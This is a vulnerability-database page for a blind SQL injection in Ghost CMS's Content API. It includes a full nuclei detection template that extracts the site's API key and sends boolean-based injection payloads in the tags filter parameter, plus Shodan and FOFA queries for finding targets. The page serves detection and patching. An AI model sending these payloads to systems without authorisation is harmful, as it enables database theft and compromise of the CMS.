Browse / CVEs / CVE-2026-26980
CVE-2026-26980· ghost / ghost· CWE-89
Ghost CMS Content API - SQL Injection
criticalseverity
9.4CVSS score
71.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Ghost CMS before 6.19.1 is vulnerable to a blind SQL injection in the /ghost/api/content/tags/ endpoint via the filter parameter. This template checks for the vulnerability by sending a boolean-based payload.
Impact
An unauthenticated attacker can extract arbitrary data from the Ghost database including user credentials, API keys, and all content, potentially leading to full compromise of the CMS.
Fix
Upgrade Ghost CMS to version 6.19.1 or later which uses parameterized queries for slug filter ordering.
How to confirm it
Send: GET {{BaseURL}}
Send: GET {{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:-null
Send: GET {{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',{{first_slug}}] ; GET {{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=0 THEN 0 ELSE EXP(710) END||',{{first_slug}}]
Positive when: len(body_1) != len(body_2)Run it with nuclei: nuclei -id CVE-2026-26980 -u <target>
The full check
id: CVE-2026-26980
info:
name: Ghost CMS Content API - SQL Injection
author: domwhewell-sage
severity: critical
description: |
Ghost CMS before 6.19.1 is vulnerable to a blind SQL injection in the /ghost/api/content/tags/ endpoint via the filter parameter. This template checks for the vulnerability by sending a boolean-based payload.
impact: |
An unauthenticated attacker can extract arbitrary data from the Ghost database including user credentials, API keys, and all content, potentially leading to full compromise of the CMS.
remediation: |
Upgrade Ghost CMS to version 6.19.1 or later which uses parameterized queries for slug filter ordering.
reference:
- https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
- https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
- https://nvd.nist.gov/vuln/detail/CVE-2026-26980
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
cvss-score: 9.4
cve-id: CVE-2026-26980
epss-score: 0.71095
epss-percentile: 0.99411
cwe-id: CWE-89
cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*
metadata:
verified: true
max-request: 5
vendor: ghost
product: ghost
framework: node.js
shodan-query: http.component:"Ghost"
fofa-query: app="Ghost"
tags: cve,cve2026,ghost,ghostcms,sqli,vuln,vkev
flow: |
http(1) && http(2) && http(3)
http:
- id: extract-api-key
method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: api_key
part: body
group: 1
regex:
- 'data-key="([a-f0-9]{20,})"'
internal: true
- id: extract-first-slug
method: GET
path:
- "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:-null"
extractors:
- type: json
part: body
name: first_slug
json:
- '.tags[0].slug'
internal: true
- id: check-sqli
method: GET
path:
- "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',{{first_slug}}]"
- "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=0 THEN 0 ELSE EXP(710) END||',{{first_slug}}]"
matchers:
- type: dsl
dsl:
- "len(body_1) != len(body_2)"References
- https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
- https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
- https://nvd.nist.gov/vuln/detail/CVE-2026-26980
Use this check only on systems you are authorised to test. Where the data comes from